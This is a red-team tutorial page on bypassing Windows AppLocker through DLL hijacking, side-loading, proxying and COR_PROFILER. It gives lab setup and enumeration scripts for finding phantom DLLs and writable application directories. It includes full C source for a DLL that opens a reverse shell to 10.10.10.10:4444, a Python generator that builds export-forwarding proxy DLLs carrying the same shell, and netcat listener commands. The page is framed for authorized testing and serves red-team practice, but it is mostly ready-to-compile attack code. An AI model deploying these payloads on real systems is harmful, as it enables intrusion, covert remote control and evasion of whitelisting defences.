Skip to content
AppLocker Bypass — DLL Hijacking and Side-Loading

AppLocker Bypass — DLL Hijacking and Side-Loading

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1574.001 (DLL Search Order Hijacking), T1574.002 (DLL Side-Loading), and T1574.012 (COR_PROFILER).


Lab Setup

Every technique here should be tested in a clean snapshot before touching a real engagement target.

VM Stack

┌─────────────────────────────────────────────────────────┐
│                   Host Machine                          │
│  ┌──────────────────────┐   ┌────────────────────────┐  │
│  │  Windows 10/11 VM    │   │   Kali Linux VM        │  │
│  │  (Target)            │   │   (Attacker)           │  │
│  │                      │   │                        │  │
│  │  - AppLocker enabled │   │  - Python HTTP server  │  │
│  │  - Standard user     │   │  - mingw-w64 (gcc)     │  │
│  │  - Sysmon installed  │   │  - pip install pefile  │  │
│  │  - Process Monitor   │   │  - nc / rlwrap         │  │
│  │  - mingw or VS Build │   │                        │  │
│  │                      │   │  192.168.56.101        │  │
│  │  192.168.56.100      │   └────────────────────────┘  │
│  └──────────────────────┘                               │
│              Host-only network: 192.168.56.0/24         │
└─────────────────────────────────────────────────────────┘

Windows VM — AppLocker + DLL Tracing Configuration

 1# 1. Enable AppLocker (standard setup)
 2Set-Service -Name AppIDSvc -StartupType Automatic
 3Start-Service -Name AppIDSvc
 4
 5# 2. Apply default Executable rules and enforce
 6# gpedit.msc → AppLocker → Executable Rules → Create Default Rules
 7# Properties → Enforcement: Enforced
 8
 9# 3. Note: DLL Rules are OFF by default — leave them off for most tests
10# (DLL hijack works regardless; enable only to test that specific layer)
11
12# 4. Create standard test user
13$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
14New-LocalUser -Name "testuser" -Password $pw
15Add-LocalGroupMember -Group "Users" -Member "testuser"
16
17# 5. Install mingw-w64 for compiling hijack DLLs on Windows
18# Download: https://www.mingw-w64.org/
19# Or use Visual Studio Build Tools (cl.exe)
20# Verify:
21gcc --version   # should work after adding to PATH
22
23# 6. Install Process Monitor (Sysinternals)
24# Configure a DLL load filter:
25#   Filter → Process Name → contains → notepad.exe (or your target)
26#   Filter → Path → ends with → .dll
27#   Filter → Operation → is → Load Image
28# This shows exactly which DLLs load, in what order, from where
29
30# 7. Find phantom DLLs (DLLs a process tries to load but doesn't find)
31#   In Process Monitor: look for "NAME NOT FOUND" results with .dll paths
32#   Those are your hijack targets
33
34# 8. Enable process creation + image load audit
35auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
36wevtutil sl Microsoft-Windows-AppLocker/EXE^and^DLL /e:true
37
38# 9. Install pefile on Kali for the proxy DLL generator
39pip3 install pefile

Sysmon Configuration

# Install Sysmon with image-load tracking enabled
# SwiftOnSecurity config enables Event ID 7 (Image Loaded) by default
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml

# Watch DLL loads live
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
    Where-Object { $_.Id -eq 7 } |
    Select-Object TimeCreated, Message |
    Format-List

Attacker VM (Kali) — DLL Compilation + Delivery

 1# Cross-compile a hijack DLL for Windows
 2x86_64-w64-mingw32-gcc -shared -o evil.dll hijack_base.c -lws2_32
 3
 4# Verify exports
 5objdump -p evil.dll | grep -A20 "Export"
 6
 7# Generate a proxy DLL (requires pefile)
 8pip3 install pefile
 9python3 dll_proxy_gen.py C:/Windows/System32/version.dll version_proxy.c
10
11# Catch reverse shell
12rlwrap nc -lvnp 4444
13
14# Serve DLL over HTTP
15python3 -m http.server 8080

COR_PROFILER Test Setup

 1# On Windows VM — verify .NET runtime is present
 2[System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
 3# Should return something like C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
 4
 5# Compile the profiler DLL (from Visual Studio dev shell or on Kali with mingw)
 6# x86_64-w64-mingw32-gcc -shared -o profiler.dll profiler.c
 7
 8# Set env vars (as standard user — these are user-scope)
 9$env:COR_ENABLE_PROFILING = "1"
10$env:COR_PROFILER = "{DEADBEEF-DEAD-BEEF-DEAD-BEEFDEADBEEF}"
11$env:COR_PROFILER_PATH = "C:\Users\testuser\AppData\Local\Temp\profiler.dll"
12
13# Launch any .NET app — profiler DLL loads automatically
14powershell -Command "Write-Host test"

Snapshot

Take a snapshot named "AppLocker-DLL-Clean" after configuration.
Roll back between techniques to keep a known-good baseline.

Diagrams

Windows DLL Search Order (Visual)

Process calls LoadLibrary("target.dll")
        │
        ▼
┌─── Already loaded in memory? ──────────────── YES → use cached copy
│
├─── KnownDLLs registry entry? ──────────────── YES → load from system section
│         (immune to hijacking)                         (skip filesystem)
│
├─── Application directory ◄── HIJACK ZONE 1 ── check binary's own folder
│         (highest priority on filesystem)
│
├─── C:\Windows\System32\
├─── C:\Windows\System\
├─── C:\Windows\           ◄── HIJACK ZONE 2 ── phantom DLL here if not in KnownDLLs
│
├─── Current working directory ◄── HIJACK ZONE 3 (if SafeDllSearchMode off)
│
└─── Directories in %PATH%  ◄── HIJACK ZONE 4 ── writable PATH entry wins

Rule: first match wins. Attacker wins by placing DLL earlier in the list.

Phantom vs Side-Load vs Proxy — Comparison

┌─────────────────┬──────────────────────────────┬──────────────────────────────┐
│   Technique     │  How It Works                │  When to Use                 │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Phantom DLL     │ Target app imports a DLL that │ App has missing/optional     │
│                 │ doesn't exist on disk.         │ imports — Process Monitor    │
│                 │ Drop your DLL where Windows    │ shows NAME NOT FOUND         │
│                 │ would look first.              │                              │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Side-Loading    │ Legitimate app bundles its     │ App ships in user-writable   │
│ (App dir)       │ own copy of a DLL. Replace     │ directory; replace the       │
│                 │ that copy with your version.   │ bundled DLL file.            │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Proxy DLL       │ Your DLL forwards all real     │ App needs DLL to work        │
│                 │ exports to the legitimate DLL  │ correctly while payload      │
│                 │ while also running payload.    │ runs in background.          │
└─────────────────┴──────────────────────────────┴──────────────────────────────┘

Proxy DLL anatomy:
  your_evil.dll
      │
      ├── DllMain() → spawn payload thread → connect back
      └── All exported functions → forward to real_target.dll (legit)
              │
              └── App thinks it's talking to the real DLL ✓

COR_PROFILER Execution Flow

Standard user sets three environment variables (user scope, no admin needed):
  COR_ENABLE_PROFILING = 1
  COR_PROFILER         = {arbitrary CLSID}
  COR_PROFILER_PATH    = C:\...\evil_profiler.dll

        │
        ▼
Any .NET application launched by this user
  → .NET CLR reads env vars at startup
  → Sees COR_ENABLE_PROFILING=1
  → Loads COR_PROFILER_PATH DLL before managed code starts
        │
        ▼
DllMain() in evil_profiler.dll runs
  → Spawn reverse shell thread
  → Return valid ICorProfilerCallback interface (optional, avoids crash)
        │
        ▼
AppLocker sees: powershell.exe (trusted) loaded a DLL
  → DLL Rules disabled (default) → not evaluated
  → DLL path may be in user's AppData → no trusted path match
  → Payload runs anyway — AppLocker had no hook to stop it

Affected binaries: any .NET app (powershell.exe, msbuild.exe, etc.)

Why DLL Hijacking Bypasses AppLocker

AppLocker has five rule categories. DLL Rules, the only one that covers .dll files, are disabled by default. Microsoft’s own documentation notes they’re off because the performance cost of evaluating every DLL load is prohibitive.

Even when DLL Rules are enabled, the bypass is still alive:

  • The hijacked process is a legitimate, whitelisted binary. AppLocker allowed it.
  • The malicious DLL executes inside that process’s address space, not as a separate process AppLocker can evaluate.
  • If the DLL sits in a trusted path (AppLocker path rule), DLL Rules pass it anyway.

The execution model is clean: you never launch your payload directly. A trusted binary launches, loads your DLL as part of its normal startup, and your code runs inside it. AppLocker sees only trusted processes.


How Windows Finds DLLs

When a process calls LoadLibrary("target.dll") without a full path, Windows walks a search order:

1.  DLLs already loaded into the process (in-memory cache)
2.  Known DLLs  (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3.  Application directory  ← the binary's own folder
4.  C:\Windows\System32\
5.  C:\Windows\System\
6.  C:\Windows\
7.  Current working directory  (SafeDllSearchMode moves this late)
8.  Directories in %PATH%

KnownDLLs are the only truly protected entries. They load directly from a system-maintained section object, skipping the filesystem entirely. Everything else is fair game.

The three hijack surfaces:

surfacewhat it means
Application directoryDrop your DLL next to the binary — wins before System32
Phantom DLLApp tries to load a DLL that doesn’t exist — you provide it
PATH directoryWrite to any writable directory earlier in PATH than System32

Phase 1 — Enumeration

Tool 1 — Find-PhantomDLLs.ps1

Phantom DLLs are the cleanest hijack targets: applications that try to load a DLL that doesn’t exist on the system. No need to replace a real DLL, no forwarding required. Just show up.

 1# Find-PhantomDLLs.ps1
 2# Monitors running processes for failed DLL loads using ETW / Sysmon data,
 3# and cross-references against a curated list of known phantoms.
 4# Falls back to static known-phantom list when live monitoring isn't available.
 5
 6param(
 7    [switch]$LiveMonitor,          # requires Sysmon EID 7 access
 8    [int]   $MonitorSeconds = 30,
 9    [switch]$ShowAll
10)
11
12# ── curated phantom DLL list (confirmed missing on clean Windows installs) ──
13$PhantomDLLs = @(
14    [PSCustomObject]@{ DLL="wlbsctrl.dll";       Service="IKEEXT";      Risk="High";   Notes="Loads on network activity, SYSTEM context" },
15    [PSCustomObject]@{ DLL="TSMSISrv.dll";        Service="SessionEnv";  Risk="High";   Notes="Terminal Services, loads on RDP connect" },
16    [PSCustomObject]@{ DLL="TSVIPSrv.dll";        Service="SessionEnv";  Risk="High";   Notes="Same service as above" },
17    [PSCustomObject]@{ DLL="oci.dll";             Service="MSDTC";       Risk="High";   Notes="Distributed Transaction Coordinator" },
18    [PSCustomObject]@{ DLL="ntwdblib.dll";        Service="Various";     Risk="Medium"; Notes="Loaded by several SQL/app binaries" },
19    [PSCustomObject]@{ DLL="symsrv.dll";          Process="DbgHelp apps";Risk="Medium"; Notes="Debug tools, less reliable trigger" },
20    [PSCustomObject]@{ DLL="phoneinfo.dll";       Service="Various";     Risk="Medium"; Notes="Telephony stack on workstations" },
21    [PSCustomObject]@{ DLL="WindowsCodecsRaw.dll";Process="Photo apps";  Risk="Low";    Notes="Photo viewer / codec stack" },
22    [PSCustomObject]@{ DLL="Riched20.dll";        Process="WordPad";     Risk="Low";    Notes="User must open WordPad" },
23    [PSCustomObject]@{ DLL="MSVBVM60.dll";        Process="VB6 apps";    Risk="Low";    Notes="Only present with VB6 runtimes installed" }
24)
25
26# ── check which phantoms are actually absent on this system ────────────────
27function Test-DLLPresent([string]$dll) {
28    $paths = @(
29        [System.Environment]::SystemDirectory,
30        [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),
31        "$env:WINDIR\System",
32        "$env:WINDIR"
33    )
34    foreach ($p in $paths) {
35        if (Test-Path (Join-Path $p $dll)) { return $true }
36    }
37    return $false
38}
39
40$confirmed = $PhantomDLLs | Where-Object { -not (Test-DLLPresent $_.DLL) }
41
42Write-Host "`n[+] Phantom DLLs confirmed absent on this system:" -ForegroundColor Green
43$confirmed | Format-Table -AutoSize | Out-Host
44
45# ── live ETW monitoring for missed DLL loads (requires admin + Sysmon) ──────
46if ($LiveMonitor) {
47    Write-Host "[*] monitoring Sysmon EID 7 for $MonitorSeconds seconds..." -ForegroundColor Cyan
48
49    $startTime  = Get-Date
50    $misses     = @{}
51
52    Get-WinEvent -FilterHashtable @{
53        LogName   = "Microsoft-Windows-Sysmon/Operational"
54        Id        = 7        # ImageLoad — but we want NOT-loaded
55        StartTime = $startTime
56    } -ErrorAction SilentlyContinue | ForEach-Object {
57        # EID 7 logs successful loads — parse for Signed=false + unexpected path
58        $msg = $_.Message
59        if ($msg -match "Signed: false" -and $msg -match "ImageLoaded: (.+\.dll)") {
60            $dll  = Split-Path $matches[1] -Leaf
61            $proc = if ($msg -match "Image: (.+)") { Split-Path $matches[1] -Leaf } else { "unknown" }
62            if (-not $misses[$dll]) { $misses[$dll] = [System.Collections.Generic.List[string]]::new() }
63            $misses[$dll].Add($proc)
64        }
65    }
66
67    if ($misses.Count -gt 0) {
68        Write-Host "`n[+] Unsigned DLL loads detected:" -ForegroundColor Yellow
69        $misses.GetEnumerator() | ForEach-Object {
70            Write-Host "    $($_.Key)$($_.Value -join ', ')"
71        }
72    }
73}
74
75# ── find writable directories that appear before System32 in PATH ───────────
76Write-Host "`n[*] Checking PATH for writable pre-System32 directories..." -ForegroundColor Cyan
77$sys32 = $env:SystemRoot + "\System32"
78$pathDirs = $env:PATH -split ";"
79$sys32Index = ($pathDirs | ForEach-Object { $_ } | Select-String -SimpleMatch $sys32 |
80               Select-Object -First 1).LineNumber - 1
81
82$pathDirs[0..$sys32Index] | ForEach-Object {
83    $dir = $_.Trim()
84    if (-not $dir -or -not (Test-Path $dir)) { return }
85    $probe = Join-Path $dir "probe_$(Get-Random).dll"
86    try {
87        [IO.File]::WriteAllBytes($probe, @(0x4D,0x5A))
88        Remove-Item $probe -Force
89        Write-Host "  [WRITABLE] $dir" -ForegroundColor Yellow
90    } catch {
91        Write-Host "  [locked]   $dir" -ForegroundColor DarkGray
92    }
93}
94
95$confirmed | Export-Csv ".\phantom_dlls.csv" -NoTypeInformation
96Write-Host "`n[*] saved → phantom_dlls.csv"

Tool 2 — Find-HijackableApps.ps1

Scans trusted paths for application directories where the current user can write, making them viable side-loading targets.

  1# Find-HijackableApps.ps1
  2# Finds executables in AppLocker-trusted paths whose application
  3# directory is writable — prime side-loading real estate.
  4
  5param(
  6    [string[]]$ScanRoots = @($env:PROGRAMFILES, ${env:PROGRAMFILES(X86)}, $env:WINDIR),
  7    [int]$MaxDepth = 3,
  8    [switch]$CheckImports   # parse PE imports to list hijackable DLL names
  9)
 10
 11Add-Type -AssemblyName System.Reflection
 12
 13function Test-DirWritable([string]$dir) {
 14    $probe = Join-Path $dir ([IO.Path]::GetRandomFileName())
 15    try {
 16        [IO.File]::WriteAllBytes($probe, @(0x4D,0x5A))
 17        Remove-Item $probe -Force
 18        return $true
 19    } catch { return $false }
 20}
 21
 22function Get-PEImports([string]$exePath) {
 23    # Read PE import table — returns list of DLL names the binary imports
 24    try {
 25        $bytes  = [IO.File]::ReadAllBytes($exePath)
 26        $stream = New-Object IO.MemoryStream(,$bytes)
 27        $reader = New-Object IO.BinaryReader($stream)
 28
 29        # MZ header
 30        $stream.Position = 0x3C
 31        $peOffset = $reader.ReadInt32()
 32
 33        # PE signature
 34        $stream.Position = $peOffset
 35        $sig = $reader.ReadUInt32()
 36        if ($sig -ne 0x00004550) { return @() }
 37
 38        # optional header magic
 39        $stream.Position = $peOffset + 24
 40        $magic = $reader.ReadUInt16()
 41        $is64  = ($magic -eq 0x20B)
 42
 43        # data directory offset
 44        $ddOffset = if ($is64) { $peOffset + 24 + 112 } else { $peOffset + 24 + 96 }
 45        $stream.Position = $ddOffset
 46        $importRVA  = $reader.ReadUInt32()
 47        $importSize = $reader.ReadUInt32()
 48        if ($importRVA -eq 0) { return @() }
 49
 50        # section headers — find section containing import RVA
 51        $numSections = & {
 52            $stream.Position = $peOffset + 6
 53            $reader.ReadUInt16()
 54        }
 55        $sectionOffset = $peOffset + 24 + (if ($is64) { 240 } else { 224 })
 56        $section = $null
 57        for ($i = 0; $i -lt $numSections; $i++) {
 58            $stream.Position = $sectionOffset + ($i * 40)
 59            $name    = $reader.ReadBytes(8)
 60            $vSize   = $reader.ReadUInt32()
 61            $vAddr   = $reader.ReadUInt32()
 62            $rawSize = $reader.ReadUInt32()
 63            $rawPtr  = $reader.ReadUInt32()
 64            if ($importRVA -ge $vAddr -and $importRVA -lt ($vAddr + $vSize)) {
 65                $section = @{ VAddr=$vAddr; RawPtr=$rawPtr }
 66                break
 67            }
 68        }
 69        if (-not $section) { return @() }
 70
 71        # parse import descriptors
 72        $dlls = @()
 73        $pos  = $section.RawPtr + ($importRVA - $section.VAddr)
 74        while ($true) {
 75            $stream.Position = $pos
 76            $reader.ReadUInt32() | Out-Null  # OrigFirstThunk
 77            $reader.ReadUInt32() | Out-Null  # TimeDateStamp
 78            $reader.ReadUInt32() | Out-Null  # ForwarderChain
 79            $nameRVA   = $reader.ReadUInt32()
 80            $reader.ReadUInt32() | Out-Null  # FirstThunk
 81            if ($nameRVA -eq 0) { break }
 82
 83            $nameOff  = $section.RawPtr + ($nameRVA - $section.VAddr)
 84            $stream.Position = $nameOff
 85            $nameBytes = @()
 86            $b = $reader.ReadByte()
 87            while ($b -ne 0) { $nameBytes += $b; $b = $reader.ReadByte() }
 88            $dlls += [Text.Encoding]::ASCII.GetString($nameBytes)
 89            $pos  += 20
 90        }
 91        return $dlls
 92    } catch { return @() }
 93}
 94
 95$results = [System.Collections.Generic.List[PSCustomObject]]::new()
 96
 97foreach ($root in $ScanRoots | Where-Object { $_ -and (Test-Path $_) }) {
 98    Write-Host "[*] scanning $root" -ForegroundColor Cyan
 99
100    Get-ChildItem -Path $root -Recurse -Filter "*.exe" -Depth $MaxDepth `
101                  -ErrorAction SilentlyContinue |
102    ForEach-Object {
103        $exeDir = $_.DirectoryName
104        if (Test-DirWritable $exeDir) {
105            $imports = if ($CheckImports) { Get-PEImports $_.FullName } else { @() }
106            $results.Add([PSCustomObject]@{
107                Executable = $_.FullName
108                Directory  = $exeDir
109                Imports    = $imports -join "; "
110                Signed     = (Get-AuthenticodeSignature $_.FullName).Status -eq "Valid"
111            })
112        }
113    }
114}
115
116Write-Host "`n[+] Hijackable app directories ($($results.Count)):`n" -ForegroundColor Green
117$results | Sort-Object Signed -Descending |
118    Format-Table Executable, Signed, Directory -AutoSize | Out-Host
119
120if ($CheckImports) {
121    Write-Host "`n[+] Import detail (DLL names to hijack):" -ForegroundColor Yellow
122    $results | Where-Object { $_.Imports } |
123        Select-Object Executable, Imports |
124        Format-List | Out-Host
125}
126
127$results | Export-Csv ".\hijackable_apps.csv" -NoTypeInformation
128Write-Host "[*] saved → hijackable_apps.csv"
# run
.\Find-HijackableApps.ps1
.\Find-HijackableApps.ps1 -CheckImports       # also parse PE imports
.\Find-HijackableApps.ps1 -ScanRoots @("C:\Windows") -MaxDepth 2

Phase 2 — Payload: The Hijack DLL

Base hijack DLL (no forwarding)

Use this when targeting a phantom DLL: the real DLL doesn’t exist, so no forwarding needed.

 1/* hijack_base.c
 2 * Phantom DLL hijack — drop where the target app expects a DLL that doesn't exist.
 3 * No export forwarding required.
 4 *
 5 * Compile:
 6 *   x86_64-w64-mingw32-gcc -shared -o target.dll hijack_base.c \
 7 *       -lws2_32 -mwindows -s \
 8 *       -fno-ident -Wl,--build-id=none \
 9 *       -Wl,--enable-stdcall-fixup
10 *
11 * 32-bit (for 32-bit host processes):
12 *   i686-w64-mingw32-gcc -shared -o target.dll hijack_base.c \
13 *       -lws2_32 -mwindows -s -Wl,--build-id=none
14 */
15
16#define WIN32_LEAN_AND_MEAN
17#include <windows.h>
18#include <winsock2.h>
19#include <ws2tcpip.h>
20#include <stdio.h>
21
22#define LHOST "10.10.10.10"
23#define LPORT  4444
24
25/* ── reverse shell ──────────────────────────────────────────────────────── */
26static DWORD WINAPI shell_thread(LPVOID p) {
27    (void)p;
28    Sleep(500);   /* brief pause — lets the host process finish initializing */
29
30    WSADATA wsa = {0};
31    if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;
32
33    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
34                             NULL, 0, WSA_FLAG_OVERLAPPED);
35    if (sock == INVALID_SOCKET) { WSACleanup(); return 1; }
36
37    struct sockaddr_in sa = {0};
38    sa.sin_family = AF_INET;
39    sa.sin_port   = htons(LPORT);
40    inet_pton(AF_INET, LHOST, &sa.sin_addr);
41
42    /* retry connect — service DLLs load before network is fully up */
43    int retries = 5;
44    while (retries-- > 0) {
45        if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
46        Sleep(2000);
47    }
48    if (retries < 0) { closesocket(sock); WSACleanup(); return 1; }
49
50    STARTUPINFOA si = {0};
51    si.cb          = sizeof(si);
52    si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
53    si.wShowWindow = SW_HIDE;
54    si.hStdInput   = (HANDLE)sock;
55    si.hStdOutput  = (HANDLE)sock;
56    si.hStdError   = (HANDLE)sock;
57
58    PROCESS_INFORMATION pi = {0};
59    char cmd[] = "cmd.exe";
60    if (!CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
61                        CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
62        closesocket(sock);
63        WSACleanup();
64        return 1;
65    }
66
67    WaitForSingleObject(pi.hProcess, INFINITE);
68    CloseHandle(pi.hProcess);
69    CloseHandle(pi.hThread);
70    closesocket(sock);
71    WSACleanup();
72    return 0;
73}
74
75/* ── DllMain ─────────────────────────────────────────────────────────────── */
76BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
77    switch (reason) {
78        case DLL_PROCESS_ATTACH:
79            DisableThreadLibraryCalls(hMod);
80            CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
81            break;
82        case DLL_PROCESS_DETACH:
83            break;
84    }
85    return TRUE;
86}

Phase 3 — DLL Proxying

Proxying is the professional tier of DLL hijacking. Your malicious DLL sits in place of the real one, runs your payload, and forwards every exported function call to the legitimate DLL. The host process works perfectly: stability is maintained, the target doesn’t crash, and the blue team doesn’t get an obvious signal.

The mechanism is a linker pragma:

#pragma comment(linker, "/export:FunctionName=realDLL.FunctionName,@ordinal")

This tells the linker to add an export that forwards directly to the real DLL at load time. Zero overhead, zero code needed for each forwarded function.


Tool 3 — DLL Proxy Generator (Python)

Automatically extracts all exports from a real DLL and generates a ready-to-compile C proxy file.

  1#!/usr/bin/env python3
  2# dll_proxy_gen.py
  3# Reads exports from a real DLL and generates a C proxy with:
  4#   - #pragma forwarding for every export
  5#   - DllMain with reverse shell payload
  6#   - Compile instructions
  7#
  8# Requires: pip install pefile
  9#
 10# Usage:
 11#   python3 dll_proxy_gen.py -i C:\Windows\System32\version.dll -o version_proxy.c
 12#   python3 dll_proxy_gen.py -i target.dll -o proxy.c --lhost 10.10.10.10 --lport 4444
 13
 14import argparse
 15import os
 16import sys
 17
 18try:
 19    import pefile
 20except ImportError:
 21    sys.exit("[-] pefile not installed — run: pip install pefile")
 22
 23
 24TEMPLATE = r"""/*
 25 * {dll_name} — DLL proxy
 26 * Auto-generated by dll_proxy_gen.py
 27 *
 28 * Real DLL forwarded to: {real_dll_path}
 29 * Exports forwarded:     {export_count}
 30 *
 31 * Compile (x64):
 32 *   x86_64-w64-mingw32-gcc -shared -o {dll_name} {src_name} \
 33 *       -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none
 34 *
 35 * Compile (x86):
 36 *   i686-w64-mingw32-gcc -shared -o {dll_name} {src_name} \
 37 *       -lws2_32 -mwindows -s -Wl,--build-id=none
 38 *
 39 * Deploy:
 40 *   1. Place real {dll_name} alongside this proxy as "{real_basename}"
 41 *      OR set forward path to absolute System32 path (see --absolute flag)
 42 *   2. Drop this proxy where the target app will find it first
 43 */
 44
 45#pragma comment(linker, "/subsystem:windows")
 46
 47/* ── export forwards ─────────────────────────────────────────────────────── */
 48/* Each line redirects a call to our proxy → the real DLL transparently      */
 49{forwards}
 50
 51/* ── payload ─────────────────────────────────────────────────────────────── */
 52#define WIN32_LEAN_AND_MEAN
 53#include <windows.h>
 54#include <winsock2.h>
 55#include <ws2tcpip.h>
 56
 57#define LHOST "{lhost}"
 58#define LPORT  {lport}
 59
 60static DWORD WINAPI shell_thread(LPVOID p) {{
 61    (void)p;
 62    Sleep(800);
 63
 64    WSADATA wsa = {{0}};
 65    if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;
 66
 67    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
 68                             NULL, 0, WSA_FLAG_OVERLAPPED);
 69    if (sock == INVALID_SOCKET) {{ WSACleanup(); return 1; }}
 70
 71    struct sockaddr_in sa = {{0}};
 72    sa.sin_family = AF_INET;
 73    sa.sin_port   = htons(LPORT);
 74    inet_pton(AF_INET, LHOST, &sa.sin_addr);
 75
 76    int retries = 5;
 77    while (retries-- > 0) {{
 78        if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
 79        Sleep(2000);
 80    }}
 81    if (retries < 0) {{ closesocket(sock); WSACleanup(); return 1; }}
 82
 83    STARTUPINFOA si      = {{0}};
 84    PROCESS_INFORMATION pi = {{0}};
 85    si.cb          = sizeof(si);
 86    si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 87    si.wShowWindow = SW_HIDE;
 88    si.hStdInput   = (HANDLE)sock;
 89    si.hStdOutput  = (HANDLE)sock;
 90    si.hStdError   = (HANDLE)sock;
 91
 92    char cmd[] = "cmd.exe";
 93    CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
 94                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
 95
 96    WaitForSingleObject(pi.hProcess, INFINITE);
 97    CloseHandle(pi.hProcess);
 98    CloseHandle(pi.hThread);
 99    closesocket(sock);
100    WSACleanup();
101    return 0;
102}}
103
104BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {{
105    if (reason == DLL_PROCESS_ATTACH) {{
106        DisableThreadLibraryCalls(hMod);
107        CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
108    }}
109    return TRUE;
110}}
111"""
112
113
114def get_exports(dll_path: str):
115    pe = pefile.PE(dll_path, fast_load=False)
116    pe.parse_data_directories(
117        directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
118    )
119
120    exports = []
121    if not hasattr(pe, "DIRECTORY_ENTRY_EXPORT"):
122        return exports
123
124    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
125        name    = exp.name.decode() if exp.name else None
126        ordinal = exp.ordinal
127        exports.append((name, ordinal))
128
129    return exports
130
131
132def build_forwards(exports: list, forward_target: str) -> str:
133    """
134    Build #pragma comment(linker, "/export:...") lines.
135    forward_target: the DLL name to forward to (without .dll, or full path stem)
136    """
137    lines = []
138    for name, ordinal in exports:
139        if name:
140            # named export forward
141            line = (
142                f'#pragma comment(linker, "/export:{name}='
143                f'{forward_target}.{name},@{ordinal}")'
144            )
145        else:
146            # ordinal-only export — forward by ordinal
147            line = (
148                f'#pragma comment(linker, "/export:#{ordinal}='
149                f'{forward_target}.#{ordinal}")'
150            )
151        lines.append(line)
152    return "\n".join(lines)
153
154
155def main():
156    p = argparse.ArgumentParser(description="DLL Proxy C file generator")
157    p.add_argument("-i", "--input",    required=True, help="path to real DLL")
158    p.add_argument("-o", "--output",   required=True, help="output .c file")
159    p.add_argument("--lhost",          default="10.10.10.10")
160    p.add_argument("--lport",          default=4444, type=int)
161    p.add_argument("--real-name",      default=None,
162                   help="name the real DLL will be saved as (default: orig_<name>)")
163    p.add_argument("--absolute",       action="store_true",
164                   help="forward to absolute System32 path instead of relative name")
165    args = p.parse_args()
166
167    dll_path    = os.path.abspath(args.input)
168    dll_name    = os.path.basename(dll_path)
169    dll_stem    = os.path.splitext(dll_name)[0]
170    src_name    = os.path.basename(args.output)
171
172    real_basename = args.real_name or f"orig_{dll_name}"
173    real_stem     = os.path.splitext(real_basename)[0]
174
175    if args.absolute:
176        # forward to System32 absolute path — no need to carry the real DLL
177        forward_target = f"C:\\\\Windows\\\\System32\\\\{dll_stem}"
178    else:
179        forward_target = real_stem
180
181    print(f"[*] parsing exports from {dll_path}")
182    exports = get_exports(dll_path)
183    print(f"[+] found {len(exports)} exports")
184
185    forwards = build_forwards(exports, forward_target)
186
187    src = TEMPLATE.format(
188        dll_name     = dll_name,
189        real_dll_path= dll_path,
190        real_basename= real_basename,
191        src_name     = src_name,
192        export_count = len(exports),
193        forwards     = forwards,
194        lhost        = args.lhost,
195        lport        = args.lport,
196    )
197
198    with open(args.output, "w") as f:
199        f.write(src)
200
201    print(f"[+] written → {args.output}")
202    print()
203    print("── compile ─────────────────────────────────────────────────────")
204    print(f"  x86_64-w64-mingw32-gcc -shared -o {dll_name} {src_name} \\")
205    print(f"      -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none")
206    print()
207    if not args.absolute:
208        print("── deploy ──────────────────────────────────────────────────────")
209        print(f"  1. rename real {dll_name}{real_basename}")
210        print(f"  2. place both files in the target app directory")
211        print(f"     proxy:   {dll_name}  (your compiled payload)")
212        print(f"     real:    {real_basename}  (original, forwards go here)")
213    else:
214        print("── deploy (absolute mode) ───────────────────────────────────────")
215        print(f"  Drop {dll_name} in the target app directory.")
216        print(f"  Forwards go directly to System32 — no companion DLL needed.")
217
218
219if __name__ == "__main__":
220    main()
 1# generate proxy for version.dll (common side-load target)
 2python3 dll_proxy_gen.py \
 3    -i /mnt/win/Windows/System32/version.dll \
 4    -o version_proxy.c \
 5    --lhost 10.10.10.10 \
 6    --lport 4444
 7
 8# absolute mode — no companion DLL needed on target
 9python3 dll_proxy_gen.py \
10    -i /mnt/win/Windows/System32/version.dll \
11    -o version_proxy.c \
12    --absolute
13
14# compile
15x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c \
16    -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none

Manual proxy template (no pefile needed)

When you already know the exports or are targeting a DLL with few of them:

 1/* version_proxy.c — manual proxy for version.dll
 2 * version.dll exports exactly these 17 functions — all forwarded to System32
 3 *
 4 * Compile:
 5 *   x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c \
 6 *       -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none
 7 */
 8
 9/* forward all 17 version.dll exports to the real System32 copy */
10#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
